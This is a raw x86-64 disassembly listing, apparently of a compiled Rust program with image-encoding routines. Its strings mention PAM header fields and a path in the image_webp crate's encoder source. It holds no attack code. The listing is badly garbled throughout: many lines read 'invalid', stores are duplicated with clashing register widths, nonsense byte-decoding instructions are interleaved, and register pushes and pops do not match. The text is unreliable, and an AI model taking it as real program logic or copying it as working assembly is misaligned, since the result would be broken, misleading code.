mov qword [rdx], r8
mov dword [rdx], eax
mov dword [rdx], eax
push 2
pop r8
mov qword [rdx + 8], r8
mov dword [rdx + 8], eax
mov dword [rdx + 8], eax
and qword [rdx + 0x20], 0
mov qword [rcx + 0x18], rax
mov qword [rdx + 0x10], rcx
adc byte [rcx + r9*4 + 0x42], cl
sbb byte [rax - 0x73], cl
call 0x13bf4f2be
invalid
add byte [rax - 0x77], cl
sbb byte [r8 - 0x77], cl
adc byte [rcx + r9*4 + 0x42], cl
sbb byte [rax - 0x73], cl
call 0x13bf4f2be
dec dword [rax - 0x7d]
add byte gs:[rax], al
and qword [rbp], 0
jmp 0x140056eb0
invalid
xor r8d, r8d
cmp rdx, r8
je 0x1400570d0
movzx r9d, byte [rcx + r8]
inc r8
cmp eax, r9d
jae 0x140056fe4
mov dword [rbp + 0x8c], r10d
mov dword [rbp + 0x8c], edx
mov al, byte [r12]
mov byte [rbp + 0xad], al
add byte [rax], al
test dword [rbp + 0x41000000], ebp
mov al, byte [rsp + 1]
add byte [rax], al
mov al, byte [r12 + 1]
mov byte [rbp + 0xaf], al
mov eax, dword [r12 + 2]
mov qword [rbp + 0x78], rax
movzx eax, word [r12 + 6]
mov qword [rbp + 0x70], rax
mov rax, qword [r12 + 8]
mov qword [rbp + 0x80], rax
mov eax, dword [r12 + 0x10]
mov qword [rbp + 0x90], rax
mov eax, dword [r12 + 0x14]
mov qword [rbp + 0x68], rax
mov byte [rbp + 0xae], 0x10
mov cl, 0x10
call fcn.14004793e
movzx eax, al
mov r9d, r14d
imul rax, r9
mov ecx, r13d
xor r8d, r8d
mul rcx
movabs rdx, 0x8000000000000000
jo 0x140057133
cmp qword [r12 + 0x10], rax
mov r14, qword [rbp + 0x80]
mov r13, qword [rbp + 0x68]
push 0xffffffff90958b4c
add byte [rax], al
add byte [rbx + rcx*4 + 0x5d], cl
jo case.0x1400422c1.222
invalid
xchg edi, eax
add byte [rax], al
invalid
push 0xffffffff90958b4c
add byte [rax], al
add byte [rbx + rcx*4 + 0x5d], cl
jo case.0x1400422c1.222
test dword [rdi + 0x49000000], edx
shl ebx, 0x20
xchg edi, eax
add byte [rax], al
add byte [rcx - 0x3f], cl
jrcxz 0x1400570c0
add r11, qword [rbp + 0x78]
cmp qword [r12], 2
cmp al, 0x24
add cl, byte [rdi]
test edi, eax
add byte [rax], al
invalid
cmp al, 0x24
add cl, byte [rdi]
test edi, eax
add byte [rax], al
add byte [rax - 0x3f], cl
shl rcx, 0x20
shl rcx, 0x20
or rcx, r9
mov rbx, qword [r12 + 8]
mov dl, byte [rbp + 0xad]
lodsd eax, dword [rsi]
add byte [rax], al
add byte [rax + 0xae95], cl
add byte [rdx + 3], ch
lodsd eax, dword [rsi]
add byte [rax], al
add byte [rax + 0xae95], cl
add byte [rdx + 3], ch
pop r8
mov rdx, rax
jmp 0x140057133
mov byte [rbp - 0x18], 4
movabs rbx, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x5d
invalid
add al, 0x48
mov ebx, 0
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x5d
invalid
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x5d
loopne 0x14005712b
lea rdx, str.Sample_value_greater_than_allowed_for_chosen_header
lea edx, str.Sample_value_greater_than_allowed_for_chosen_header
lea rcx, [rbp + 0x38]
push 0x33
pop r8
call fcn.14003f3ec
mov al, byte [rbp + 0x38]
mov byte [rbp + 0xae], al
test dword [rsi - 0x76000000], ebp
cmp dword [r8 + 0xaf85], r9d
invalid
test dword [rsi - 0x76000000], ebp
cmp dword [r8 + 0xaf85], r9d
add byte [rbx + 0xf443a45], cl
mov eax, dword [rbp + 0x3a]
invalid
invalid
mov bh, 0x5d
mov eax, dword [rbp + 0x3a]
movzx r11d, word [rbp + 0x3e]
shl r11, 0x20
cmp al, byte [rdi + rcx - 0x49]
pop rbp
shl r11, 0x20
or r11, rax
mov r14, qword [rbp + 0x40]
mov esi, dword [rbp + 0x40]
ret
mov esi, dword [rbp + 0x40]
mov r10d, dword [rbp + 0x48]
mov r10d, dword [rbp + 0x48]
mov r13d, dword [rbp + 0x4c]
mov rdx, qword [rbp - 0x18]
call 0x1400c2974
add byte [rax], al
add byte [rax], al
invalid
sub bl, 0
call 0x1400c2974
mov eax, 6
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
sub bl, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x76b7ff15], al
invalid
mov qword [rsi], rbx
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
push rsi
or byte [rax - 0x77], cl
mov dword [rsi + 0x10], ecx
invalid
mov dword [rsi + 0x10], ecx
adc dh, al
mov byte [rsi + 0x18], 0x10
sbb byte [rax], r10b
mov qword [rsi + 0x20], r8
mov al, byte [rbp + 0xae]
mov byte [rsi + 0x28], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x7a75d7ba], cl
scasd eax, dword [rdi]
add byte [rax], al
sub byte [rdx + 0xaf85], r9b
sub byte [rdx + 0xaf85], cl
mov al, byte [rbp + 0xaf]
mov byte [rsi + 0x29], al
mov dword [rsi + 0x2a], r11d
mov dword [rsi + 0x2a], ebx
add byte [rax - 0x76bbd6ba], cl
pop rsi
mov dword [rsi + 0x2a], ebx
sub cl, byte [rcx - 0x3f]
jmp 0x140057180
shr r11, 0x20
shr ebx, 0x20
mov word [rsi + 0x2e], r11w
mov qword [rsi + 0x30], r14
mov dword [rsi + 0x30], esi
mov dword [rsi + 0x38], r10d
mov dword [rsi + 0x38], edx
push rsi
cmp byte [rcx + rcx*4 + 0x6e], al
cmp al, 0xe9
invalid
mov dword [rsi + 0x3c], r13d
jmp 0x140056f05
std
invalid
invalid
std
invalid
mov rbx, r11
lea rdx, str.P7Invalid_buffer_length:_expected__for__image
push 2
add al, byte [rcx + 0x58]
pop r8
mov rcx, rdi
call fcn.14003f45a
test rax, rax
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
jne 0x140057266
jne 0x140057266
movabs rax, 0x8000000000000000
cmp qword [r15], rax
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf073949], al
test dword [rcx + 0x49000000], ebp
lea eax, [rdi + 0x18]
jne 0x140057251
add byte [rcx - 0x73], cl
sbb byte [r9 - 0x75], r8b
xor al, 0x48
lea rdx, [rbp + 0x34]
lea rax, [r15 + 0x18]
mov ecx, dword [r15 + 0x34]
lea rdx, [rbp + 0x34]
mov dword [rdx], ecx
mov ecx, dword [r15 + 0x30]
lea r8, [rbp + 0x30]
or al, byte [rcx - 0x75]
xor byte [r13 + r9*4 + 0x45], r9b
xor byte [rcx - 0x77], al
mov dword [r8], ecx
lea rcx, [rbp + 0xa8]
add byte [rbx + rcx*4 - 0x73], al
mov word [rax], es
add byte [rax], al
mov dword [r8], ecx
lea rcx, [rbp + 0xa8]
add byte [rbx + rcx*4 - 0x73], al
mov word [rax], es
add byte [rax], al
add byte [rbx + rcx*4 - 0x73], al
mov word [rax], es
add byte [rax], al
add byte [rcx + rcx*4 + 9], al
mov dword [rcx], r9d
mov r9d, dword [r15 + 0x3c]
lea r10, [rbp + 0xa4]
cmp al, 0x4c
lea edx, [rbp + 0xa4]
add byte [rbp - 0x77], al
or cl, byte [rbp + rcx*4 + 0x4d]
mov dword [r10], r9d
lea r9, [rbp - 0x58]
test al, 0x49
mov dword [rcx], eax
test al, 0x49
mov dword [rcx], eax
lea rax, [rbp - 0x20]
mov qword [rax], rdx
loopne 0x140057234
mov dword [rax], edx
lea rdx, [0x140029230]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], r8
mov qword [rax + 0x18], rdx
cmp esp, dword [rax]
std
dec dword [rax - 0x77]
push rax
or byte [rcx + rcx*4 + 0x40], cl
adc byte [rax - 0x77], cl
push rax
sbb byte [rax - 0x77], cl
and byte [rax - 0x77], cl
push rax
sub byte [rcx + rcx*4 + 0x50], cl
xor byte [rax - 0x77], cl
mov qword [rax + 0x20], rcx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], r10
mov qword [rax + 0x38], rdx
mov qword [rax + 0x40], r9
lea rcx, str._nWIDTH__nHEIGHT__nDEPTH__nMAXVAL_ENDHDR_n
push rax
cmp byte [rcx + rcx*4 + 0x48], cl
lea rcx, str._nWIDTH__nHEIGHT__nDEPTH__nMAXVAL_ENDHDR_n
lea rdx, [rbp + 0x38]
lea edx, [rbp + 0x38]
mov qword [rdx], rcx
mov qword [rdx + 8], 6
and qword [rdx + 0x20], 0
lea rcx, [0x1400573b4]
mov qword [rax + 0x48], rcx
mov qword [rdx + 0x10], rax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rdx + 0x10], rax
invalid
adc byte [rax - 0x39], cl
sbb byte [0x188057248], al
mov ecx, edi
mov qword [rdx + 0x18], 5
mov rcx, rdi
call fcn.1400569bf
jmp 0x140057261
idiv edi
invalid
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.14003f45a
test rax, rax
je 0x140057289
sal byte [rbx + riz + 0x48], 0x8b
fmul dword [r8 - 0x77]
cmp byte [rdi], r9b
adc byte [rbp - 0x38], al
invalid
mov rcx, qword [rbp - 0x28]
mov qword [rsi + 0x38], rcx
movups xmm0, xmmword [rbp - 0x38]
invalid
enter 0x110f, 0x46
sub byte [rax - 0x77], cl
or byte [rax - 0x48], r9b
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub cl, 0x79
cld
invalid
dec dword [rdi]
mov dh, 0x85
lodsd eax, dword [rsi]
movups xmmword [rsi + 0x28], xmm0
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000009
add byte [rax], al
add byte [rax], al
sub cl, 0x79
cld
invalid
invalid
add byte [rax], al
add byte [rax], al
sub cl, 0x79
cld
invalid
movzx eax, byte [rbp + 0xad]
movzx ecx, byte [rbp + 0xaf]
shl rbx, 0x10
add byte [rax], al
add byte [rdi], cl
mov dh, 0x8d
scasd eax, dword [rdi]
add byte [rax], al
add byte [rax - 0x3f], cl
jrcxz 0x1400572ab
shl ecx, 8
or rcx, rbx
or rcx, rax
je 0x14005734c
shl r13, 0x21
shl ebp, 0x21
mov rax, qword [rbp + 0x90]
lea rbx, [rax*2]
add rbx, r13
xor r14d, r14d
lea r15, [rbp + 0x38]
push 2
pop r12
cmp rbx, r14
je 0x14005736e
mov rax, qword [rbp + 0x80]
movzx r13d, word [rax + r14]
and word [rbp + 0x38], 0
mov rcx, r12
mov rdx, r15
cli
cli
mov r8, r12
lea r9, [0x1401fa410]
call fcn.1400412d1
invalid
jmp qword [rsi + 0x41]
rol ebp, 8
mov word [rbp - 0x20], r13w
insd dword [rdi], dx
loopne 0x14005734d
lea ecx, [0x1401fa428]
or eax, 0x1a311d
invalid
or eax, 0x1a311d
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8, [rbp - 0x20]
and byte [rax - 0x77], cl
ror dword [rbp + rcx*4 + 0x45], 0xe0
mov r9, r12
call fcn.1401c59a4
invalid
add byte [rax - 0x77], cl
stc
mov rdx, r15
mov r8, r12
loopne 0x140057311
sub eax, 0x49fffe81
cmp esi, 0xc68349ff
add cl, byte [rax - 0x7b]
invalid
je 0x1400572cb
xchg ebp, eax
invalid
cmp esi, 0xc68349ff
add cl, byte [rax - 0x7b]
sal byte [rbp + rdx*4 + 0x48], 0xb9
xchg ebp, eax
invalid
invalid
invalid
movabs rcx, 0x8000000000000009
mov qword [rsi], rcx
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x480e8948], al
mov qword [rsi + 8], rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0xe
mov qword [rsi + 8], rax
or cl, ch
mov ecx, 0x49fffffb
shl ebp, 0x20
invalid
jmp 0x140056f05
shl r13, 0x20
and byte [rbx + rax - 0x53], cl
nop
add byte [rax], al
add byte [rax - 0x77], cl
stc
add r13, qword [rbp + 0x90]
mov rcx, rdi
mov rdx, r14
mov r8, r13
call fcn.14003f45a
test rax, rax
jne 0x140057276
invalid
invalid
invalid
invalid
movabs rax, 0x800000000000000a
jmp 0x140056f02
test ebx, edi
invalid
invalid
test ebx, edi
invalid
lea eax, [0x14028bcf8]
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
jmp rax
jmp rax
jmp 0x140057451
mov ecx, 3
jmp 0x140057451
jmp 0x140057442
jmp 0x140057451
jmp 0x140057451
mov ecx, 9
jmp 0x140057451
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], rcx
lea rax, [rsp + 0x28]
mov qword [rax], r8
lea rcx, [fcn.1401c5992]
mov qword [rax + 8], rcx
lea rcx, str.TUPLTYPE
lea r8, [rsp + 0x48]
mov qword [r8], rcx
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.140006275
nop
add rsp, 0x78
ret
cmp rsi, rcx
je 0x140058ad9
movzx edx, byte [r8 + rcx]
movzx edx, byte [rax + rcx]
cmp dl, byte [rbp + 0x110]
cmovae edx, eax
movzx edx, dl
inc dword [rbp + rdx*4 - 0x30]
inc rcx
jmp 0x140058aba
xor r8d, r8d
push 1
pop rcx
push 0x40
pop r12
xor r11d, r11d
xor ebx, ebx
mov r9, rax
xor r10d, r10d
xor edx, edx
xor edx, edx
sub r9, 1
jb 0x140058b36
test r11b, 1
je 0x140058b02
cmp r8, 0x40
jne 0x140058b18
clc
jne 0x140058b18
jmp 0x140058b36
mov r11, r12
sub r11, r8
shr r11, 2
jmp case.0x1400422a0.248
cmp r11, rcx
retf
jbe 0x140058b36
retf
lea r8, [r8 + rcx*4]
add r10, rcx
mov ecx, eax
sub ecx, r10d
inc r10
invalid
inc edx
mov r11d, dword [rbp + r8 - 0x30]
add r8, 4
shl r11d, cl
pop rsp
add eax, 0xc08349d0
add al, 0x41
shl ebx, cl
add edx, r11d
fiadd dword [rcx - 0x4d]
add dword [rcx], esi
leave
mov r11b, 1
xor ecx, ecx
jmp 0x140058aee
push 1
pop r8
mov cl, byte [rbp + 0x110]
invalid
adc byte [rcx], al
add byte [rax], al
invalid
shl r8d, cl
loopne 0x140058b8d
mov r9, rax
mov ecx, eax
cmp edx, r8d
jbe 0x140058b85
invalid
lea rcx, [r9 - 1]
cmp rcx, 0xf
cmp ecx, 0xf
cmp ecx, 0xf
ja 0x140058be8
mov r10d, dword [rbp + r9*4 - 0x34]
mov r9, rcx
test r10d, r10d
invalid
test edx, edx
sal byte [rbp + riz*8 + 0x41], cl
dec edx
je 0x140058b4b
dec r10d
mov dword [rbp + rcx*4 - 0x30], r10d
dec dword [rbp + rax*4 - 0x30]
cmp rcx, 0xf
invalid
je 0x140058e24
invalid
test al, 2
add byte [rax], al
test byte [rax - 0x7cfffffe], ch
invalid
add dword [rbp + rcx*4 - 0x2c], 2
dec edx
jmp 0x140058b43
invalid
retf 0xbeeb
test rsi, rsi
je 0x140058bfc
mov rbx, rsi
shl rbx, 4
shl rbx, 4
mov rax, rsi
mov eax, esi
shr rax, 0x3b
jne 0x140058f12
add eax, dword [rax]
add byte [rdx + 8], ch
push 8
pop r15
mov rcx, r15
mov rdx, rbx
call fcn.14013276d
test rax, rax
je 0x140058f15
pop rdi
add eax, dword [rax]
invalid
pop rdi
add eax, dword [rax]
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xc0
or byte [rbp + 0x31], al
dec dword [rax - 0x75]
xchg ebp, eax
mov byte [rax], al
add byte [rax], al
mov rcx, rax
mov ecx, eax
add rax, 8
xor r15d, r15d
mov rdx, qword [rbp + 0x88]
mov r8, qword [rbp + 0x48]
mov r9d, dword [r8 + r15*4]
mov qword [rax - 8], r15
clc
js 0x140058bcb
clc
mov dword [rax], r9d
inc r15
add rax, 0x10
cmp rdx, r15
jne 0x140058bcb
mov qword [rbp + 0x48], rdx
jmp 0x140058c08
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
sbb al, byte [rax]
push 0x10
pop rdx
call fcn.1401c6eb0
jmp 0x140058f20
push 8
pop rcx
xor eax, eax
mov qword [rbp + 0x48], rax
xor r15d, r15d
invalid
dec dword [rax - 0x73]
cmp al, 0x48
mov dword [rbp - 0x50], eax
lea rax, [rbp + 0x3c]
mov qword [rbp - 0x50], rax
test r15, r15
je 0x140058c1d
bsr r12, r15
xor r12, 0x3f
push 0x40
pop rax
sub eax, r12d
mov dword [rsp + 0x20], eax
loopne case.0x140041e72.494
and al, 0x20
lea r8, [rbp - 0x50]
mov rdx, r15
xor r9d, r9d
mov qword [rbp + 0x30], rcx
call fcn.1400578b8
shl r15, 4
invalid
add al, 0x48
mov eax, dword [rbp + 0x30]
invalid
invalid
mov rax, qword [rbp + 0x30]
xor byte [r9 + 1], r9b
invalid
add r15, rax
mov r8, rax
mov r11b, byte [rbp + 0x110]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6b], cl
add byte [rax], 0
invalid
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6b], cl
add byte [rax], 0
add byte [rax - 0x75], cl
popfq
add byte [rcx], al
add byte [rax], al
invalid
mov edx, dword [rbp + 0x80]
mov rbx, qword [rbp + 0x100]
add byte [rax - 0x77], cl
ret 0x894c
invalid
invalid
mov rdx, rax
mov edx, eax
mov rax, r8
cmp rax, r15
je 0x140058caf
lea r8, [rax + 0x10]
cmp dword [rax + 8], 0
or byte [rax], al
mov rax, r8
je 0x140058c63
sal byte [rsi + rbp*8 + 0x49], 0x8b
invalid
mov rcx, qword [r8 - 0x10]
movzx eax, r11b
cmp al, 0xf
invalid
ja 0x140058e3b
invalid
mov dh, 1
add dword [rax], eax
invalid
ret
invalid
xchg dword [rsi + 0x44000001], esi
mov ecx, dword [rbp + rax*4 - 0x30]
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4c], al
test eax, edx
mov r9d, dword [rbp + rax*4 - 0x30]
test r9d, r9d
leave
jne 0x140058c94
add eax, 0xebcbfe41
in eax, 0x48
cmp ecx, dword [rbp + 0x88]
dec r11b
jmp 0x140058c79
cmp rcx, qword [rbp + 0x88]
jae 0x140058e52
xor dword [rcx + 0x45000001], 0xffffff88
add dword [rax], eax
add byte [rbp - 0x78], al
invalid
mov byte [r10 + rcx], r11b
mov byte [rdx + rcx], bl
sbb al, 0xa
dec r9d
mov dword [rbp + rax*4 - 0x30], r9d
shr bl, 1
invalid
shr bl, 1
mov cl, 0x48
mov rcx, qword [rbp + 0x48]
mov ecx, dword [rbp + 0x48]
call fcn.140132e14
call fcn.140132e14
mov rsi, qword [rbp + 0x88]
add byte [rax], al
add byte [rax - 0x73], cl
add al, 0x36
invalid
lea rax, [rsi + rsi]
xor ecx, ecx
xor ecx, ecx
cmp rax, rcx
je 0x140058cd5
enter 0xb74, 0x66
and dword [rbx + rcx], 0
invalid
and word [rbx + rcx], 0
add byte [rax - 0x7d], cl
rol dword [rdx], 0xeb
add ch, bl
add rcx, 2
add ecx, 2
add ch, bl
jmp 0x140058cc5
invalid
mov r11b, 1
xor edx, edx
mov r8d, 0xf0f
add dword [rcx], esi
rol byte [rcx - 0x48], cl
invalid
mov r9d, 0x3333
xor esi, dword [rbx]
add byte [rax], al
mov r10d, 0x5555
xor ebx, ebx
test bl, 1
jne case.0x140039166.353
invalid
invalid
add byte [rax], al
invalid
test dword [rax + 0x44000000], esp
cmp bl, byte [rbp + 0x110]
invalid
cmp r11b, byte [rbp + 0x110]
add byte [rdi], cl
xchg dword [rbx + 0xf000000], edx
add byte [rax], al
setae bl
ja case.0x140039166.353
add byte [rax], al
setae bl
mov r15d, r11d
adc r15b, 0
xlatb
add byte [rcx + rcx*4 - 0x28], al
xlatb
add byte [rcx + rcx*4 - 0x28], al
neg al
and al, 0xf
fsub dword [rdi + rcx]
movzx ecx, al
mov rsi, qword [rbp + 0x80]
add byte [rax], al
invalid
enter 0xffffffffffff8b48, 0xffffffffffffffb5
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
in al, 0x48
cmp rsi, rdi
xor r12d, r12d
cmp rsi, rdi
je 0x140058d8d
mov rax, r12
lea r13, [rsi + 1]
add dword [rcx - 1], ecx
invalid
cmp byte [rsi], r11b
cmp byte [rsi], bl
outsb dx, byte [rsi]
add dword [rcx - 1], ecx
invalid
cmp byte [rsi], bl
mov rsi, r13
jne case.0x1400573f7.393
cmp rax, qword [rbp + 0x88]
jae 0x140058df2
lodsb al, byte [rsi]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rax + rax - 0x2f770000], 0x66
lodsb al, byte [rsi]
add byte [rax], al
add byte [rcx - 0x3f3e9930], cl
invalid
lodsb al, byte [rsi]
add byte [rax], al
add byte [rcx - 0x3f3e9930], cl
or byte [rcx + 0x4eec1c6], cl
mov cl, 0xee
invalid
mov eax, edx
rol ax, 8
mov esi, eax
shr esi, 4
mov cl, 0xee
add al, 0x44
and esi, r8d
and esi, eax
and eax, r8d
shl eax, 4
or eax, esi
mov esi, eax
mov byte [rcx + riz - 0x32], 0xc1
call 0x10826d169
mov byte [rcx + riz - 0x32], 0xc1
call 0x10826d169
lea eax, [rax + rsi*4]
mov esi, eax
and esi, r10d
and esi, edx
and esi, edx
shr eax, 1
and eax, r10d
lea eax, [rax + rsi*2]
shr eax, cl
mov rsi, qword [rbp + 0x100]
mov word [rsi + r12*2 - 2], ax
mov dword [rsi + riz*2 - 2], eax
mov dword [rsi + riz*2 - 2], eax
inc edx
mov rsi, r13
jmp case.0x1400573f7.393
ret 0x894c
add edx, edx
mov r11d, r15d
jmp case.0x14003c171.360
push 2
pop rax
mov cl, byte [rbp + 0x110]
add dword [rax], eax
add bl, dl
invalid
add dword [rax], eax
add bl, dl
loopne 0x140058d2c
invalid
mov dword [rbp + 0x3c], edx
mov dword [rbp - 0x50], eax
cmp edx, eax
jne 0x140058eee
push rbp
cmp al, 0x89
mov r8b, 0x39
ret 0x850f
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x70]
push 0x70558b48
call fcn.14003d340
dec dword [rax - 0x75]
push r8
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov edx, dword [rbp + 0x58]
call fcn.14003d340
mov rcx, qword [rbp + 0x18]
sbb byte [rax - 0x75], cl
push rbp
and al, ch
mov cl, 0xf8
invalid
invalid
sbb byte [rax - 0x75], cl
push rbp
and al, ch
mov cl, 0xf8
invalid
cmp r14, 2
setae al
add rsp, 0x118
add cl, byte [rdi]
xchg ebx, eax
ror byte [rax - 0x7f], 0xc4
sbb byte [rcx], al
add byte [rax], al
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rbp + 0x3c], edx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
je case.0x140045009.304
sbb al, byte [rax]
je case.0x140045009.304
sbb al, byte [rax]
mov rcx, rax
mov rdx, qword [rbp + 0x88]
add byte [rax], al
add byte [rax], al
call fcn.1401c6eb0
jmp 0x140058f20
add cl, ch
cld
add byte [rax], al
add byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
add byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
add eax, 0x1a44a5
push 0x10
pop rcx
mov rdx, rcx
call fcn.1401c6eb0
jmp 0x140058f20
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
sbb r8b, byte [rax]
sbb al, byte [rax]
push 0x10
pop rdx
mov rcx, rax
call fcn.1401c6eb0
jmp 0x140058f20
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
mov rdx, qword [rbp + 0x88]
xchg ebp, eax
mov byte [rax], al
add byte [rax], al
call fcn.1401c6eb0
jmp 0x140058f20
mov dh, 0
add byte [rax], al
mov dh, 0
add byte [rax], al
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
call fcn.1401c7290
in al, 0x16
invalid
in al, 0x16
add cl, ch
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1a447e
jmp 0x140058f20
call fcn.1401c7290
jmp 0x140058f20
add cl, ch
xchg esp, eax
add byte [rax], al
add byte [rax - 0x77], cl
mov ch, 0x88
add byte [rax], al
add bl, ch
adc ecx, dword [rax - 0x77]
mov ch, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
jo 0x140058ee9
add byte [rax], al
jmp 0x140058ea8
mov dword [rbp - 0x38], eax
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp - 0x38]
mov ecx, dword [rbp - 0x38]
call fcn.1401c66e0
jmp 0x140058f20
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
jmp 0x140058ed3
lea rcx, [rbp + 0x50]
lea ecx, [rbp + 0x50]
push rax
lea rdx, [rbp + 0x68]
call fcn.1401c7f5c
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
call fcn.1401c7290
jmp 0x140058f20
jrcxz 0x140058f01
add bl, ch
xor cl, byte [rbp + rcx*4 + 0x45]
lea r8, [rbp - 0x30]
ror byte [rcx - 0x7d], 1
and byte [rax], al
and qword [r8], 0
lea rcx, [rbp + 0x3c]
lea rdx, [rbp - 0x50]
call fcn.1401c7f94
jmp 0x140058f20
invalid
jmp 0x140058f20
xor r15d, r15d
mov rcx, r15
mov rdx, rbx
call fcn.1401c66e0
ud2
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
sbb byte [r8 - 0x75], r9b
push rbp
and al, ch
cmp eax, 0x90fffff7
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x88]
mov byte [rax], al
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
xor byte [r8 - 0x75], r9b
xchg ebp, eax
mov byte [rax], al
add byte [rax], al
call fcn.14003d340
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x50]
add byte [rax - 0x75], cl
push r8
mov rdx, qword [rbp + 0x58]
call fcn.14003d340
invalid
invalid
call qword [rax + 0x28c48348]
add esp, 0x28
invalid
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x70]
call fcn.14003d340
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
invalid
pop rbp
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push rdi
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
lea rcx, [rbp + 0x50]
add byte [rax], al
lea rcx, [rbp + 0x50]
xor edx, edx
call fcn.1400586a5
invalid
call qword [rax + 0x28c48348]
shr al, cl
insd dword [rdi], dx
idiv bh
invalid
call qword [rax + 0x28c48348]
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
adc byte [rbp + 0x41], dl
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
mov rdx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x30]
mov ecx, dword [rbp + 0x48]
mov rdx, qword [rbp + 0x30]
call fcn.140132e14
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
push rdi
push rbx
sub rsp, 0x28
mov edi, r8d
mov ebx, edx
mov rsi, rcx
mov r14, qword [rcx + 0x10]
cmp r14, qword [rcx]
jne 0x1400590a7
mov rcx, rsi
call fcn.140058583
fdivr st(4), st(0)
invalid
invalid
fdivr st(4), st(0)
invalid
dec dword [rax - 0x75]
or byte [rsi + 0x42], r12b
